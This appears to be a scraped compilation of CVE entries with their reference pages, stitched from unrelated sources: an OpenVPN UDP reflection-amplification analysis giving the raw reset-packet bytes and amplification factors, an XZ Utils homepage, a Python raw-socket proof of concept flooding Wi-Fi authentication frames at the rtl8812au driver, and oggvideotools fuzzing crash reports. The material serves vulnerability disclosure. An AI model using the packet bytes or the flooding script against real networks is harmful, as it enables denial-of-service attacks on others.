Control Channel in OpenVPN 2.4.7 and earlier allows remote attackers to cause a denial of service via crafted reset packet.

**概述**

**2019年09月10日， 华为AntiDDoS8000设备某荷兰数据中心局点捕获新型UDP反射放大攻击，反射源端口为1194。客户在AntiDDoS8000清洗设备上配置硬件过滤规则有效阻断了攻击。华为未然实验室通过对攻击流量深入分析，很快发现攻击流量来自在网络中开放的OpenVPN服务。**

OpenVPN是一个用于创建虚拟专用网络加密通道的软件包，最早由James Yonan编写。OpenVPN允许创建的VPN使用公开密钥、电子证书、或者用户名／密码来进行身份验证。

**攻击原理**

OpenVPN支持UDP、TCP两种隧道模式，默认使用UDP，在认证模式上支持Pre-sharedstatic key 和 TLS 两个模式，默认为TLS模式。

图1 TLS mode OpenVPN状态图（数据来源见参考资料1）  

OpenVPN有Data channel和Control channel两个通道，在UDP隧道模式下，Data channel的可靠性需要业务层自己维护，Control channel的可靠性则需要OpenVPN自己来维护，这也是问题的关键所在。通过分析OpenVPN可靠性实现代码，可以发现当OpenVPN发送出数据包后，若在超时时间内没有收到对应的确认包，则会进行多次数据重传，直到socket超时（默认30s）。超时时间计算逻辑有两种方式（见图2），一种是指数增长方式（默认配置），另一种是固定值（默认2秒）的方式。

图2 OpenVPN源码            

**攻击模拟**

根据图1所示，我们让客户端向服务器发送P\__CONTROL\__HARD\__RESET\__CLIENT\__V2__数据包，服务器则会响应__P\__CONTROL\__HARD\__RESET\__SERVER\__V2数据包，客户端对服务器响应的数据包不做P\_ACK\_V1应答，服务器便会对_P\__CONTROL\__HARD\__RESET\__SERVER\__V2数据包进行多次重传。

以下是P\__CONTROL\__HARD\__RESET\__CLIENT\__V2_数据包字符串的十六进制格式：

"\\x38\\x11\\xad\\x18\\x24\\xa7\\x8a\\xad\\x41\\x00\\x00\\x00\\x01\\x5d\\x85\\x8a"\\

"\\x31\\x65\\xc3\\x17\\xa6\\xe9\\x35\\x8b\\x51\\xcf\\xfb\\x6c\\xa5\\x1b\\xc4\\x08"\\

"\\x90\\x43\\xa1\\x6a\\xa7\\xa1\\x20\\xc8\\x69\\x37\\x85\\x60\\xe3\\x44\\xa6\\x4c"\\

"\\x33\\x3f\\xdc\\x86\\xd5\\x29"

图3 默认配置“指数增加超时时间”下OpenVPN服务遭受攻击时数据抓包  

图4 “固定超时时间”配置下OpenVPN服务遭受攻击时数据抓包  

根据图3、图4可见，服务器对未及时应答的数据包，会进行多次重传。根据该特性，结合UDP反射攻击手法，即可实现UDP反射放大攻击。为了更高效的利用反射源，客户端需要将每次请求的源端口设置为不一样，如果是同一个源端口，在30秒有效期内，将被忽略。

**放大倍数****指数增加超时时间方式**

如图3所示，客户端发送一个96字节的一个报文，服务器将在30秒内响应大小与请求包相当的5个数据包，所以放大倍数应该是 5 / 1 = **5**倍，同时流量的PPS也放大了**5**倍。

**固定超时时间方式**

如图4所示，客户端发送一个96字节的一个报文，服务器将在后续的30秒内，以0.5秒的间隔响应一个大小为与请求包相当的数据包，所以放大倍数应该是 30 / 0.5 = **60** 倍，同时流量的PPS也放大了**60**倍。

**攻击风险**

通过shodan网络空间搜索引擎查询，可以发现在网络空间有将近70万个对外开放的OpenVPN服务。如果攻击者利用这些OpenVPN服务进行UDP反射放大攻击，将会对被攻击者造成严重影响。

 图5 网络空间1194端口统计图（数据来源shodan）

**防范建议**

> 1、在大带宽的数据中心场景， 可以在专业Anti-DDoS设备或者边界路由上配置过滤规则(protocol udp, source port 1194, packetlength >= 56 Bytes)
> 
> 2、小带宽的企业数据中心当遭遇这种攻击时会引发链路带宽拥塞，只能靠上游云清洗过滤

**参考资料**

> Protocol state fuzzing of anOpenVPN
> 
> OpenVPN

**\*本文原创作者：null001，属于FreeBuf原创奖励计划，未经许可禁止转载**

CVE-2020-20813: OpenVPN服务被利用于UDP反射放大DDoS攻击 - FreeBuf网络安全行业门户

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)

Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

An issue was discovered in function nl80211_send_chandef in rtl8812au v5.6.4.2 allows attackers to cause a denial of service.

**testing environment**  
root@kali:~# uname -r  
5.6.0-kali2-amd64

**poc:**  
\`

#!/usr/bin/env python  
#coding=utf-8  
import time  
import socket

AP\_MAC = "00:22:66:88:22:00"  
STA\_MAC = "00:13:ef:f1:04:ef"  
ETH\_P\_ALL = 3  
IFACE = "wlan0"

def mac2str(mac):  
return "".join(map(lambda x: chr(int(x, 16)), mac.split(":")))

RADIO = "\\x00"  
RADIO += "\\x00"  
RADIO += "\\x24\\x00"  
RADIO += "\\x2f\\x40\\x00\\xa0"  
RADIO += "\\x20\\x08\\x00\\x00"  
RADIO += "\\x00\\x00\\x00\\x00"  
RADIO += "\\x27"  
RADIO += "\\x43"  
RADIO += "\\x6e\\x25"  
RADIO += "\\xa0\\x00"  
RADIO += "\\x00\\x00"  
RADIO += "\\x10\\x02"  
RADIO += "\\x6c\\x09"  
RADIO += "\\xa0\\x00"  
RADIO += "\\xd0\\x00"  
RADIO += "\\x00"  
RADIO += "\\x00"  
RADIO += "\\xd0"  
RADIO += "\\x00"

AUTH\_REQ\_OPEN = RADIO + "\\xB0" # Type/Subtype  
AUTH\_REQ\_OPEN += "\\x08" # Flags  
AUTH\_REQ\_OPEN += "\\xc3\\x50" # Duration ID  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # Desti8nation address  
AUTH\_REQ\_OPEN += mac2str(STA\_MAC) # Source address  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # BSSID  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Sequence control  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication algorithm (open)  
AUTH\_REQ\_OPEN += "\\x01\\x00" # Authentication sequence number  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication status  
AUTH\_REQ\_OPEN += "\\x1f\\xd8" # Authentication status  
AUTH\_REQ\_OPEN += "\\x5a\\x07" # Authentication status  
AUTH\_REQ\_HDR = AUTH\_REQ\_OPEN\[:-6\]

def start\_fuzz():  
s = socket.socket(socket.AF\_PACKET, socket.SOCK\_RAW, socket.htons(ETH\_P\_ALL))  
s.bind((IFACE, ETH\_P\_ALL))  
while True:  
print("send msg:",AUTH\_REQ\_OPEN)  
s.send(AUTH\_REQ\_OPEN)

def main():  
start\_fuzz()

if **name** == "**main**":  
main()  
\`  
when execute poc, we should turn on monitoring mode：  
ip link set wlan0 down  
iw dev wlan0 set type monitor  
ip link set wlan0 up

**result**

[  952.607304] WARNING: CPU: 0 PID: 1293 at net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607304] Modules linked in: nfnetlink_queue(E) nfnetlink_log(E) 88XXau(OE) nfnetlink(E) bluetooth(E) drbg(E) ansi_cprng(E) ecdh_generic(E) ecc(E) cfg80211(E) rfkill(E) vsock_loopback(E) vmw_vsock_virtio_transport_common(E) vmw_vsock_vmci_transport(E) vsock(E) intel_rapl_msr(E) intel_rapl_common(E) intel_rapl_perf(E) vmw_balloon(E) joydev(E) serio_raw(E) pcspkr(E) sg(E) vmw_vmci(E) evdev(E) ac(E) binfmt_misc(E) fuse(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) crc32_pclmul(E) crc32c_intel(E) ghash_clmulni_intel(E) hid_generic(E) usbhid(E) hid(E) sr_mod(E) cdrom(E) ata_generic(E) vmwgfx(E) aesni_intel(E) libaes(E) crypto_simd(E) cryptd(E) glue_helper(E) ttm(E) psmouse(E) drm_kms_helper(E) ata_piix(E) cec(E) uhci_hcd(E) ehci_pci(E) xhci_pci(E) xhci_hcd(E) e1000(E) ehci_hcd(E) usbcore(E) usb_common(E) mptspi(E) mptscsih(E) mptbase(E) [  952.607325]  scsi_transport_spi(E) drm(E) libata(E) i2c_piix4(E) scsi_mod(E) button(E) [  952.607329] CPU: 0 PID: 1293 Comm: RTW_CMD_THREAD Tainted: G           OE     5.6.0-kali2-amd64 #1 Debian 5.6.14-1kali1 [  952.607330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019 [  952.607340] RIP: 0010:nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607341] Code: 00 00 be a1 00 00 00 48 89 ef 89 44 24 04 e8 7c 8a 07 d6 85 c0 0f 84 7b ff ff ff 41 bc 97 ff ff ff e9 70 ff ff ff 31 c0 eb a7 <0f> 0b 41 bc ea ff ff ff e9 5f ff ff ff e8 c3 c7 cb d5 0f 1f 00 0f [  952.607342] RSP: 0018:ffffa687c088fd80 EFLAGS: 00010246 [  952.607343] RAX: 0000000000000000 RBX: ffffa687c088fe08 RCX: 0000000000000087 [  952.607343] RDX: 00000000c07597ec RSI: 00000000ffff259c RDI: ffffa687c088fe08 [  952.607344] RBP: ffff98e22da4dd00 R08: 0000000000000003 R09: 0000000000000004 [  952.607344] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa687c088fe08 [  952.607344] R13: 0000000000000000 R14: ffff98e22da4dd00 R15: ffff98e2343a3014 [  952.607345] FS:  0000000000000000(0000) GS:ffff98e23be00000(0000) knlGS:0000000000000000 [  952.607346] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [  952.607346] CR2: 00007f9224153030 CR3: 000000007a080005 CR4: 00000000002606f0 [  952.607365] Call Trace: [  952.607395]  nl80211_ch_switch_notify.constprop.0+0xcd/0x170 [cfg80211] [  952.607424]  rtw_cfg80211_ch_switch_notify+0x138/0x147 [88XXau] [  952.607440]  ? rtw_chk_start_clnt_join+0x79/0x79 [88XXau] [  952.607454]  rtw_chk_start_clnt_join+0x72/0x79 [88XXau] [  952.607468]  join_cmd_hdl+0x267/0x373 [88XXau] [  952.607476]  rtw_cmd_thread+0x295/0x3ed [88XXau] [  952.607494]  kthread+0xf9/0x130 [  952.607504]  ? rtw_stop_cmd_thread+0x39/0x39 [88XXau] [  952.607506]  ? kthread_park+0x90/0x90 [  952.607521]  ret_from_fork+0x35/0x40 [  952.607524] ---[ end trace c0d1960d55eb317c ]---

CVE-2020-26652: fuzzing wifi ,network will down,  result is net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] · Issue #730 · aircrack-ng/rtl8812au

Buffer Overflow vulnerability in ExtractorInformation function in streamExtractor.cpp in oggvideotools 0.9.1 allows remaote attackers to run arbitrary code via opening of crafted ogg file.

I use AddressSanitizer to build oggvideotools 0.9.1 and get segment fault as below. I use the command:  
oggLength <testcase>  
The testcase I used is put in the attachment.  
This software can also be installed by command apt install oggvideotools but the version is 0.8a-7, which can also get segment fault with the same testcase.</testcase>

MediaConverter::setAvailable(): decoder is not configured or has ended  
MediaConverter::setAvailable(): decoder is not configured or has ended  
MediaConverter::setAvailable(): decoder is not configured or has ended  
\=================================================================  
\==32390==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000e4b8 at pc 0x00000046e493 bp 0x7ffe9af99060 sp 0x7ffe9af99050  
WRITE of size 4 at 0x60600000e4b8 thread T0  
#0 0x46e492 in ExtractorInformation::operator=(ExtractorInformation const&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamExtractor.cpp:17  
#1 0x4407e2 in StreamConfig::operator=(StreamConfig const&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamConfig.h:12  
#2 0x43ea66 in StreamSerializer::getStreamConfig(std::vector<streamconfig, std::allocator<streamconfig=""> >&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/main/streamSerializer.cpp:210  
#3 0x43b0c4 in oggLengthCmd(int, char\*\*) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:93  
#4 0x43b4e5 in main /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:136  
#5 0x7f13e016782f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)  
#6 0x43aa78 in \_start (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x43aa78)</streamconfig,>

0x60600000e4b8 is located 0 bytes to the right of 56-byte region \[0x60600000e480,0x60600000e4b8)  
allocated by thread T0 here:  
#0 0x7f13e0b42532 in operator new(unsigned long) (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x99532)  
#1 0x4468b4 in \_\_gnu\_cxx::new\_allocator<streamconfig>::allocate(unsigned long, void const_) /usr/include/c++/5/ext/new\_allocator.h:104  
#2 0x4460b3 in std::allocator\_traits<std::allocator<streamconfig> >::allocate(std::allocator<streamconfig>&, unsigned long) /usr/include/c++/5/bits/alloc\_traits.h:491  
#3 0x4451fd in std::\_Vector\_base<streamconfig, std::allocator<streamconfig=""> >::\_M\_allocate(unsigned long) /usr/include/c++/5/bits/stl\_vector.h:170  
#4 0x443257 in std::vector<streamconfig, std::allocator<streamconfig=""> >::\_M\_default\_append(unsigned long) (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x443257)  
#5 0x441d5e in std::vector<streamconfig, std::allocator<streamconfig=""> >::resize(unsigned long) (/home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/install/bin/oggLength+0x441d5e)  
#6 0x43e9a5 in StreamSerializer::getStreamConfig(std::vector<streamconfig, std::allocator<streamconfig=""> >&) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/main/streamSerializer.cpp:206  
#7 0x43b0c4 in oggLengthCmd(int, char</streamconfig,></streamconfig,></streamconfig,></streamconfig,></streamconfig></std::allocator<streamconfig>_\*) /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:93  
#8 0x43b4e5 in main /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/binaries/oggLength.cpp:136  
#9 0x7f13e016782f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)</streamconfig>

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools\_addresssanitizer/oggvideotools-0.9.1/src/base/streamExtractor.cpp:17 ExtractorInformation::operator=(ExtractorInformation const&)  
Shadow bytes around the buggy address:  
0x0c0c7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c0c7fff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
\=>0x0c0c7fff9c90: 00 00 00 00 00 00 00\[fa\]fa fa fa fa 00 00 00 00  
0x0c0c7fff9ca0: 00 00 05 fa fa fa fa fa fd fd fd fd fd fd fd fa  
0x0c0c7fff9cb0: fa fa fa fa 00 00 00 00 00 00 07 fa fa fa fa fa  
0x0c0c7fff9cc0: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd  
0x0c0c7fff9cd0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 06 fa  
0x0c0c7fff9ce0: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
\==32390==ABORTING

My system is:  
Description: Ubuntu 16.04.6 LTS  
Release: 16.04

The software information:  
oggvideotools:  
Installed: 0.8a-7  
Candidate: 0.8a-7  
Version table:  
\*\*\* 0.8a-7 500  
500 https://mirrors.tuna.tsinghua.edu.cn/ubuntu xenial/universe amd64 Packages  
500 http://archive.ubuntu.com/ubuntu xenial/universe amd64 Packages  
100 /var/lib/dpkg/status

ProblemType: Bug  
DistroRelease: Ubuntu 16.04  
Package: oggvideotools 0.8a-7  
ProcVersionSignature: Ubuntu 4.15.0-66.75~16.04.1-generic 4.15.18  
Uname: Linux 4.15.0-66-generic x86\_64  
ApportVersion: 2.20.1-0ubuntu2.21  
Architecture: amd64  
CurrentDesktop: Unity  
Date: Thu Nov 14 19:56:47 2019  
InstallationDate: Installed on 2019-01-24 (293 days ago)  
InstallationMedia: Ubuntu 16.04.5 LTS "Xenial Xerus" - Release amd64 (20180731)  
SourcePackage: oggvideotools  
UpgradeStatus: No upgrade log present (probably fresh install)

**1 Attachments**

CVE-2020-21724: Ogg Video Tools / Bugs

A Segmentation Fault issue discovered StreamSerializer::extractStreams function in streamSerializer.cpp in oggvideotools 0.9.1 allows remote attackers to cause a denial of service (crash) via opening of crafted ogg file.

Tested in Ubuntu 16.04, 64bit

The tesecase is put in the attachment and the oggvideotools vision is 0.9.1

I use the following command:

./oggLength oggLength\_SEGV

and get:

I use **valgrind** to analysis the bug and get the below information:

\==7902\== Memcheck, a memory error detector
\==7902\== Copyright (C) 2002\-2015, and GNU GPL'd, by Julian Seward et al.
\==7902\== Using Valgrind\-3.11.0 and LibVEX; rerun with -h for copyright info
\==7902\== Command: /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools/install/bin/oggLength /home/wws/Music/Fuzz/cmp/fuzz\_out\_oggvideotools\_oggLength/crashes/id:000025,sig:11,src:000146,op:flip1,pos:5
\==7902\== 
\==7902\== Invalid read of size 8
\==7902\==    at 0x41F650: StreamSerializer::extractStreams() (streamSerializer.cpp:163)
\==7902\==    by 0x4261A2: StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) (streamSerializer.cpp:75)
\==7902\==    by 0x40F6A3: oggLengthCmd(int, char\*\*) (oggLength.cpp:86)
\==7902\==    by 0x40E412: main (oggLength.cpp:136)
\==7902\==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
\==7902\== 
\==7902\== 
\==7902\== Process terminating with default action of signal 11 (SIGSEGV)
\==7902\==  Access not within mapped region at address 0x0
\==7902\==    at 0x41F650: StreamSerializer::extractStreams() (streamSerializer.cpp:163)
\==7902\==    by 0x4261A2: StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) (streamSerializer.cpp:75)
\==7902\==    by 0x40F6A3: oggLengthCmd(int, char\*\*) (oggLength.cpp:86)
\==7902\==    by 0x40E412: main (oggLength.cpp:136)
\==7902\==  If you believe this happened as a result of a stack
\==7902\==  overflow in your program's main thread (unlikely but
\==7902\==  possible), you can try to increase the size of the
\==7902\==  main thread stack using the \--main\-stacksize\= flag.
\==7902\==  The main thread stack size used in this run was 8388608.
\==7902\== 
\==7902\== HEAP SUMMARY:
\==7902\==     in use at exit: 157,974 bytes in 18 blocks
\==7902\==   total heap usage: 22 allocs, 4 frees, 162,629 bytes allocated
\==7902\== 
\==7902\== LEAK SUMMARY:
\==7902\==    definitely lost: 0 bytes in 0 blocks
\==7902\==    indirectly lost: 0 bytes in 0 blocks
\==7902\==      possibly lost: 0 bytes in 0 blocks
\==7902\==    still reachable: 157,974 bytes in 18 blocks
\==7902\==         suppressed: 0 bytes in 0 blocks
\==7902\== Rerun with \--leak\-check\=full to see details of leaked memory
\==7902\== 
\==7902\== For counts of detected and suppressed errors, rerun with: \-v
\==7902\== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)

I use **AddressSanitizer** to build oggvideotools, this file can cause SEGV signal in function StreamSerializer::extractStreams() with the following command:

./oggLength oggLength\_SEGV

This is the ASAN information:

ASAN:SIGSEGV
\=================================================================
\==7905\==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000043e4b9 bp 0x7ffe756519d0 sp 0x7ffe75651720 T0)
    #0 0x43e4b8 in StreamSerializer::extractStreams() oggvideotools\-0.9.1/src/main/streamSerializer.cpp:163
    #1 0x43da8f in StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) oggvideotools\-0.9.1/src/main/streamSerializer.cpp:75
    #2 0x43b044 in oggLengthCmd(int, char\*\*) oggvideotools\-0.9.1/src/binaries/oggLength.cpp:86
    #3 0x43b4e5 in main oggvideotools\-0.9.1/src/binaries/oggLength.cpp:136
    #4 0x7f6e840b082f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #5 0x43aa78 in \_start (target\_oggvideotools/install/bin/oggLength+0x43aa78)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV 
oggvideotools\-0.9.1/src/main/streamSerializer.cpp:163 StreamSerializer::extractStreams()
\==7905\==ABORTING

CVE-2020-21723: Ogg Video Tools / Bugs

Buffer Overflow vulnerability in oggvideotools 0.9.1 allows remote attackers to run arbitrary code via opening of crafted ogg file.

CVE-2020-21722

Buffer Overflow vulnerability in scan function in stdscan.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

Self-registration is disabled due to spam issue (mail gorcunov@gmail.com or hpa@zytor.com to create an account)

